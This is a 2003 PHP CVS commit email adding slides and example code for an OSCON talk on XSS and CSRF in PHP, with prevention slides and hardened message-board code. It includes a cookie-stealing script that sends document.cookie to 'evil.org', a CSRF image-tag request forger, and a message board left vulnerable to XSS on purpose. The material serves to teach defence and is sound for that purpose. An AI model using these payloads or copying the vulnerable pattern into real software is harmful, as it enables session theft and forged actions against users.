cvs: presentations /slides/php-under-attack csrf_example.php csrf_example.xml csrf_example_explained.xml csrf_intro.xml csrf_prevention.xml
csrf_prevention_example.xml intro.xml message_board.php message_board_csrf.php message_board_xss.php more_info.xml outline.xml thank_you.xml
titlepage.xml xss_example_realistic.php xss_example_realistic.xml xss_example_simple.php xss_example_simple.xml xss_execution.xml xss_intro.xml
xss_prevention.xml xss_prevention_example.xml

From: Date: Wed, 18 Jun 2003 05:04:25 +0000
Subject: cvs: presentations /slides/php-under-attack csrf_example.php csrf_example.xml csrf_example_explained.xml csrf_intro.xml csrf_prevention.xml
csrf_prevention_example.xml intro.xml message_board.php message_board_csrf.php message_board_xss.php more_info.xml outline.xml thank_you.xml
titlepage.xml xss_example_realistic.php xss_example_realistic.xml xss_example_simple.php xss_example_simple.xml xss_execution.xml xss_intro.xml
xss_prevention.xml xss_prevention_example.xml
Groups: php.pres 
Request: Send a blank email to pres+get-743@lists.php.net to get a copy of this message
shiflett Wed Jun 18 01:04:25 2003 EDT Added files: /presentations/slides/php-under-attack csrf_example.php csrf_example.xml csrf_example_explained.xml csrf_intro.xml csrf_prevention.xml csrf_prevention_example.xml intro.xml message_board.php message_board_csrf.php message_board_xss.php more_info.xml outline.xml thank_you.xml titlepage.xml xss_example_realistic.php xss_example_realistic.xml xss_example_simple.php xss_example_simple.xml xss_execution.xml xss_intro.xml xss_prevention.xml xss_prevention_example.xml Log: Adding first batch of slides for OSCON presentation

Index: presentations/slides/php-under-attack/csrf_example.php +++ presentations/slides/php-under-attack/csrf_example.php <? $url = 'show/php-under-attack/8'; $tag = "<img src=\"$url?message=CSRF\">"; echo htmlentities($tag); echo $tag; ?> Index: presentations/slides/php-under-attack/csrf_example.xml +++ presentations/slides/php-under-attack/csrf_example.xml <slide fontsize="4em"> <title>Example CSRF Attack</title> <blurb fontsize="3.5em">CSRF attacks can be simple</blurb> <example fontsize="2em" filename="csrf_example.php" result="0" /> </slide> Index: presentations/slides/php-under-attack/csrf_example_explained.xml +++ presentations/slides/php-under-attack/csrf_example_explained.xml <slide fontsize="4em"> <title>How Does It Work?</title> <blurb fontsize="3.5em"> Requests for images are no different than requests for any other URL. </blurb> <blurb fontsize="3.5em"> POST requests can also be forged, though not as secretly. </blurb> </slide> Index: presentations/slides/php-under-attack/csrf_intro.xml +++ presentations/slides/php-under-attack/csrf_intro.xml <slide fontsize="4em"> <title>What is CSRF?</title> <list fontsize="3.5em"> <bullet> Exploits the trust a site has for a particular user </bullet> </list> <list fontsize="3.5em"> <bullet> Generally involves Web sites that rely completely on the identification of the user for security </bullet> </list> <list fontsize="3.5em"> <bullet> Involves "tricking" a user into unknowingly sending an HTTP request of the attacker's choosing </bullet> </list> <list fontsize="3.5em"> <bullet> Represents the best reason to disable register_globals </bullet> </list> <list fontsize="3.5em"> <bullet> No easy solution - depends on application design </bullet> </list> </slide> Index: presentations/slides/php-under-attack/csrf_prevention.xml +++ presentations/slides/php-under-attack/csrf_prevention.xml <slide fontsize="4em"> <title>Preventing CSRF Attacks</title> <list fontsize="3em"> <bullet>Use POST rather than GET in forms</bullet> <bullet>Turn off register_globals and use $_POST instead</bullet> <bullet>Don't make important actions too easy</bullet> <bullet>Try to force the use of your own forms</bullet> <bullet>Learn from your peers!</bullet> </list> </slide> Index: presentations/slides/php-under-attack/csrf_prevention_example.xml +++ presentations/slides/php-under-attack/csrf_prevention_example.xml <slide fontsize="4em"> <title>Message Board Revisited</title> <blurb fontsize="3.5em">Yet another message board</blurb> <example filename="message_board_csrf.php" result="0" /> </slide> Index: presentations/slides/php-under-attack/intro.xml +++ presentations/slides/php-under-attack/intro.xml <slide fontsize="4em"> <title>Introduction</title> <list title="&amp;nbsp; Why this presentation?" marginleft="0em" fontsize="4em"> <bullet>Helpful to see WHY in addition to HOW</bullet> <bullet>PHP is popular - beginners are naive</bullet> <bullet>Real-world examples of XSS and CSRF</bullet> <bullet>Sample code provides clarity</bullet> <bullet>You are the expert of your applications</bullet> <bullet>Share experiences with OSCON peers!</bullet> </list> </slide> Index: presentations/slides/php-under-attack/message_board.php +++ presentations/slides/php-under-attack/message_board.php <form action="<? echo $PHP_SELF; ?>"> <input type="text" name="message"> <input type="submit"> </form> <? if (!empty($_GET['message'])) { $fp = fopen('./messages.txt', 'a'); fwrite($fp, "{$_GET['message']}<br>"); fclose($fp); } readfile('./messages.txt'); ?> Index: presentations/slides/php-under-attack/message_board_csrf.php +++ presentations/slides/php-under-attack/message_board_csrf.php <? $secret = uniqid(time()); $fp = fopen('./secrets.txt', 'a'); fwrite($fp, "$secret\n"); fclose($fp); ?> <form action="<? echo $PHP_SELF; ?>"> <input type="text" name="message"> <input type="hidden" name="secret" value="<? echo $secret; ?>"> <input type="submit"> </form> <? if (!empty($_GET['message'])) { $secrets = file('./secrets.txt'); $user_secret = "{$_GET['secret']}\n"; if (in_array($user_secret, $secrets)) { $fp = fopen('./safer.txt', 'a'); $msg = $_GET['message']; $msg = htmlentities($msg); fwrite($fp, "$msg<br>"); fclose($fp); } } readfile('./safer.txt'); ?> Index: presentations/slides/php-under-attack/message_board_xss.php +++ presentations/slides/php-under-attack/message_board_xss.php <form action="<? echo $PHP_SELF; ?>"> <input type="text" name="message"> <input type="submit"> </form> <? if (!empty($_GET['message'])) { $fp = fopen('./safer.txt', 'a'); $msg = htmlentities($_GET['message']); fwrite($fp, "$msg<br>"); fclose($fp); } readfile('./safer.txt'); ?> Index: presentations/slides/php-under-attack/more_info.xml +++ presentations/slides/php-under-attack/more_info.xml <slide fontsize="4em"> <title>More Information</title> <link align="left" fontsize="2.25em" leader="This presentation, " href="http://talks.php.net/show/php-under-attack" /> <link align="left" fontsize="2.25em" leader="Apache's XSS Info, " href="http://httpd.apache.org/info/css-security/" /> <link align="left" fontsize="2.25em" leader="XSS FAQ, " href="http://www.cgisecurity.com/articles/xss-faq.shtml" /> <link align="left" fontsize="2.25em" leader="Tag filtering code, " href="http://www.mricon.com/html/phpfilter.html" /> <link align="left" fontsize="2.25em" leader="Original CSRF description, " href="http://www.tux.org/~peterw/csrf.txt" /> </slide> Index: presentations/slides/php-under-attack/outline.xml +++ presentations/slides/php-under-attack/outline.xml <slide fontsize="4.5em"> <title>Outline</title> <blurb fontsize="3.75em">XSS</blurb> <list marginleft="1.0em" fontsize="3.25em"> <bullet>Explanation</bullet> <bullet>Examples</bullet> <bullet>Prevention</bullet> </list> <blurb fontsize="3.75em">CSRF</blurb> <list marginleft="1.0em" fontsize="3.25em"> <bullet>Explanation</bullet> <bullet>Examples</bullet> <bullet>Prevention</bullet> </list> <blurb fontsize="3em">A question and answer period will follow the presentation.</blurb> </slide> Index: presentations/slides/php-under-attack/thank_you.xml +++ presentations/slides/php-under-attack/thank_you.xml <slide template="titlepage" fontsize="4em"> <title>Thank You</title> </slide> Index: presentations/slides/php-under-attack/titlepage.xml +++ presentations/slides/php-under-attack/titlepage.xml <slide template="titlepage" fontsize="4em"> <title>Welcome</title> </slide> Index: presentations/slides/php-under-attack/xss_example_realistic.php +++ presentations/slides/php-under-attack/xss_example_realistic.php <script> document.location = 'http://evil.org/?cookies=' + document.cookie </script> Index: presentations/slides/php-under-attack/xss_example_realistic.xml +++ presentations/slides/php-under-attack/xss_example_realistic.xml <slide fontsize="4em"> <title>Realistic XSS Example</title> <blurb fontsize="3.5em">A more realistic attack may steal the user's cookies</blurb> <example filename="xss_example_realistic.php" /> </slide> Index: presentations/slides/php-under-attack/xss_example_simple.php +++ presentations/slides/php-under-attack/xss_example_simple.php <script>alert('Oh No!');</script> Index: presentations/slides/php-under-attack/xss_example_simple.xml +++ presentations/slides/php-under-attack/xss_example_simple.xml <slide fontsize="4em"> <title>Simple XSS Example</title> <blurb fontsize="3.5em">Simple but harmless attack</blurb> <example filename="xss_example_simple.php" /> <blurb fontsize="3.5em"> If this script is sent by a trusted site, the potential for danger should be clear. </blurb> </slide> Index: presentations/slides/php-under-attack/xss_execution.xml +++ presentations/slides/php-under-attack/xss_execution.xml <slide fontsize="4em"> <title>Message Board</title> <blurb fontsize="3.5em">A simple (and vulnerable) message board</blurb> <example filename="message_board.php" result="0" /> </slide> Index: presentations/slides/php-under-attack/xss_intro.xml +++ presentations/slides/php-under-attack/xss_intro.xml <slide fontsize="4em"> <title>What is XSS?</title> <list fontsize="3.5em"> <bullet> Exploits the trust a user has for a particular site </bullet> </list> <list fontsize="3.5em"> <bullet> Generally involves Web sites that display foreign data (Web mail, forums, syndicated content, etc.) </bullet> </list> <list fontsize="3.5em"> <bullet> Can be anything - executing malicious scripts, stealing cookies, etc. </bullet> </list> <list fontsize="3.5em"> <bullet> Popularized by the media </bullet> </list> </slide> Index: presentations/slides/php-under-attack/xss_prevention.xml +++ presentations/slides/php-under-attack/xss_prevention.xml <slide fontsize="4em"> <title>Preventing XSS Attacks</title> <list fontsize="3em"> <bullet>Filter ALL foreign data</bullet> <bullet>Let PHP help - htmlentities(), strip_tags(), utf8_decode(), etc.</bullet> <bullet>Don't try to guess bad tags - only allow safe ones</bullet> <bullet>The bad guys are very creative - you must be, too!</bullet> </list> </slide> Index: presentations/slides/php-under-attack/xss_prevention_example.xml +++ presentations/slides/php-under-attack/xss_prevention_example.xml <slide fontsize="4em"> <title>Safer Message Board</title> <blurb fontsize="3.5em">A safer message board</blurb> <example filename="message_board_xss.php" result="0" /> </slide>
« previous php.pres (#743) next »